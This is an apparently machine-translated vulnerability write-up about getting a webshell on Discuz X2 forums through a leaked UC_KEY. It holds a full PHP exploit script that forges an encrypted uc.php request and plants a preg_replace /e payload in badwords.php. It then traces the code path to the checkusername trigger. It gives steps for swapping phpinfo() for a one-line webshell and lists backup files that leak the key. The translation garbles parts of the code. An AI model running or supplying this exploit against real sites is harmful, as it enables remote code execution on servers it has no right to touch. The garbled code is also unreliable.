Source: http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0137991.html
The malicious code is saved in/uc_client/data/cache/badwords.php first through Uc_key, and then arbitrary code is executed using Preg_replace ().
Attach the script from the source first. Some code has been modified.
<?php$timestamp = time () +10*3600; $host = "IP Address"; $agent = MD5 ("mozilla/5.0" (Windows NT 6.1; rv:27.0) gecko/20100101 firefox/27.0 "), $uc _key=" site Uc_key "; $code =urlencode (_authcode (" Agent= $agent &time=$ Timestamp&action=updatebadwords ", ' ENCODE ', $uc _key)); $cmd 1= ' <?xml version=" 1.0 "encoding=" Iso-8859-1 "?> <root><item id= "0" ><item id= "FindPattern" >/(. *)/e</item><item id= "Replacement" > Phpinfo ();</item></item></root> '; $html 1 = Send ($cmd 1); Echo $html 1;function Send ($cmd) {global $ Host, $code; $message = "post/discuz_x2/api/uc.php?code=". $code. " Http/1.1\r\n "; $message. = "Accept: */*\r\n"; $message. = "Referer:". $host. " \ r \ n "; $message. = "accept-language:zh-cn\r\n"; $message. = "content-type:application/x-www-form-urlencoded\r\n"; $message. = "user-agent:mozilla/5.0 (Windows NT 6.1; rv:27.0) gecko/20100101 firefox/27.0\r\n "; $message. = "Host:". $host. " \ r \ n "; $message. = "Content-length:". strlen ($cmd). "\ r \ n "; $message. = "connection:close\r\n\r\n"; $message. = $cmd; $fp = Fsockopen ($host, 80); Fputs ($fp, $message); $resp = "; while ($fp &&!feof ($fp)) $resp. = Fread ($fp, 1024); return $RESP;} function _authcode ($string, $operation = ' DECODE ', $key = ', $expiry = 0) {$ckey _length = 4; $key = MD5 ($key? $key: Uc_key); $keya = MD5 (substr ($key, 0, 16)); $KEYB = MD5 (substr ($key, 16, 16)); $KEYC = $ckey _length? ($operation = = ' DECODE '? substr ($string, 0, $ckey _length): substr (MD5 (Microtime ()),-$ckey _length)): "; $cryptkey = $keya. MD5 ($keya. $KEYC); $key _length = strlen ($cryptkey); $string = $operation = = = ' DECODE '? Base64_decode (substr ($string, $ckey _length)): sprintf ('%010d ', $expiry? $expiry + Time (): 0). substr (MD5 ($string. $keyb ), 0, (+). $string; $string _length = strlen ($string); $result = "; $box = Range (0, 255); $rndkey = Array (); for ($i = 0; $i <= 255; $i + +) {$rndkey [$i] = Ord ($cryptkey [$I% $key _length]); } for ($j = $i = 0; $i <, $i + +) {$j = ($j + $box [$i] + $rndkey [$i])% 256; $tmp = $box [$i]; $box [$i] = $box [$j]; $box [$j] = $tmp; } for ($a = $j = $i = 0; $i < $string _length; $i + +) {$a = ($a + 1)% 256; $j = ($j + $box [$a])% 256; $tmp = $box [$a]; $box [$a] = $box [$j]; $box [$j] = $tmp; $result. = Chr (ord ($string [$i]) ^ ($box [($box [$a] + $box [$j])% 256])); if ($operation = = ' DECODE ') {if (substr ($result, 0, ten) = = 0 | | substr ($result, 0,)-time () > 0) && Amp SUBSTR ($result, ten, +) = = substr (MD5 ($result, $keyb), 0, (+)) {return substr ($result, 26); } else {return '; }} else {return $KEYC. Str_replace (' = ', ' ', Base64_encode ($result)); }}?>
The entire POC should be modified in places that are everywhere:
$host, $uc _key,<item id= "Replacement" >phpinfo (); </item>, $message = "post/discuz_x2/api/uc.php?code=". $ Code. " Http/1.1\r\n ";
The first place is the address of the website: fill the IP or domain name is OK, the second is to obtain the Uc_key, generally is the administrator can see, the third is phpinfo (); , modified into a sentence of the script, the fourth is the site directory, may be placed in the level two directory.
Look at the POC, is to construct a code and XML data, and then send to/api/uc.php, followed by this PHP file
$code = @$_get[' code '];p arse_str (Authcode ($code, ' DECODE ', Uc_key), $get);
You can see that the $code is decrypted and the parameter resolution is registered as a variable using the PARSE_STR () function.
$post = Xml_unserialize (file_get_contents (' php://input '));
Read the contents of the post and parse the content with Xml_unserialize ()
See here, $action =updatebadwords, there is a section code echo $UC _note-> $get [' Action '] ($get, $post); , executes the updatebadwords () function, which has if the value of $get[' action ' is determined, so it cannot cause code execution.
function Updatebadwords ($get, $post) {Global $_g;if (! Api_updatebadwords) {return api_return_forbidden;} $data = Array (), if (Is_array ($post)) {foreach ($post as $k = $v) {$data [' FindPattern '] [$k] = $v [' FindPattern ']; $data [' Replace ' [$k] = $v [' Replacement '];}} $cachefile = Discuz_root. /uc_client/data/cache/badwords.php '; $fp = fopen ($cachefile, ' w '); $s = "<?php\r\n"; $s. = ' $_cache[\ ' badwords\ '] = '. Var_export ($data, TRUE). "; r\n "; Fwrite ($fp, $s); fclose ($FP);
Loop out the post data and assign the value of FindPattern replacement two to $data, and then write the/uc_client/data/cache/badwords.php file
Put the data in, then you have to take the data out of the line, to see where to take.
According to the content of the article, the trigger point is:/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1 &action=checkusername&username=dddd
Based on the Discuz MVC framework, the/source/module/forum/forum_ajax.php is called
if ($_g[' gp_action ' = = ' Checkusername ') {$username = Trim ($_g[' gp_username ')); $usernamelen = Dstrlen ($username); if ($ Usernamelen < 3) {showmessage (' profile_username_tooshort ', ', ' array (), array (' handle ' = False));} elseif ($ Usernamelen >) {showmessage (' profile_username_toolong ', ', Array (), array (' handle ' = = False));} Loaducenter (); $ucresult = Uc_user_checkname ($username);
The Uc_user_checkname () function was called
function Uc_user_checkname ($username) {return Call_user_func (uc_api_func, ' user ', ' check_username ', Array (' username ') = $username));}
Uc_api_func default is to call Uc_api_mysql
Define (' Uc_api_func ', uc_connect = = ' MySQL '? ' Uc_api_mysql ': ' Uc_api_post ');
So call the Uc_api_mysql (' user ', ' check_username ', Array (' username ' = $username))
function Uc_api_mysql ($model, $action, $args =array ()) {Global $uc _controls;if (Empty ($uc _controls[$model])) {Include_ Once uc_root. /lib/db.class.php '; include_once uc_root. /model/base.php '; include_once uc_root. " /control/$model. php "; eval (" \ $uc _controls[' $model '] = new {$model}control (); ");} if ($action {0} = ' _ ') {$args = Uc_addslashes ($args, 1, TRUE); $action = ' on ' $action; $uc _controls[$model]->input = $arg S;return $uc _controls[$model]-> $action ($args);} else {return ';}}
You can see $action reorganized into Oncheck_username, and call Oncheck_username ()
Follow the Oncheck_username () function, which is located in/uc_client/control/user.php called the _check_username () function.
function _check_username ($username) {$username = Addslashes (Trim (stripslashes ($username))); if (!$_env[' user ']-> Check_username ($username)) {return uc_user_check_username_failed;} elseif (!$_env[' USER ']->check_usernamecensor ($username)) {return uc_user_username_badword;} ElseIf ($_env[' user ']->check_usernameexists ($username)) {return uc_user_username_exists;} return 1;}
Follow the Check_usernamecensor () function
function Check_usernamecensor ($username) {$_cache[' badwords ') = $this->base->cache (' Badwords '); $ Censorusername = $this->base->get_setting (' censorusername '); $censorusername = $censorusername [' Censorusername ']; $censorexp = '/^ ('. Str_replace (' \\* ', ' \ r \ n ', '), Array ('. * ', ' | ', '), Preg_quote (($ Censorusername = Trim ($censorusername)), '/')) $/i '; $usernamereplaced = isset ($_cache[' badwords ' [' FindPattern ']) &&!empty ($_cache[' badwords '] [' FindPattern '])? @preg_replace ($_cache[' badwords ' [' FindPattern '], $_cache[' badwords ' [' Replace '], $username): $username; usernamereplaced! = $username) | | ($censorusername && Preg_match ($censorexp, $username))) {return FALSE;} else {return TRUE;}}
Get the contents of Badwords and put him into the array $_cache[' badwords ']
Then there is the sentence: @preg_replace ($_cache[' badwords ' [' FindPattern '], $_cache[' badwords ' [' Replace '], $username)
That's exactly where we first changed, which is what we can control, and that's why the code executes.
After running the POC, you will be able to execute the code after accessing the following page.
/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action= Checkusername&username=dddd
Be careful of the leaks of uc_key, there are so several ways,
/config/config_ucenter.php.bak
/uc_server/data/cache/apps.php.bak
There is the administrator weak password login to the backstage to get Uc_key.
Discuz use Uc_key for front Getshell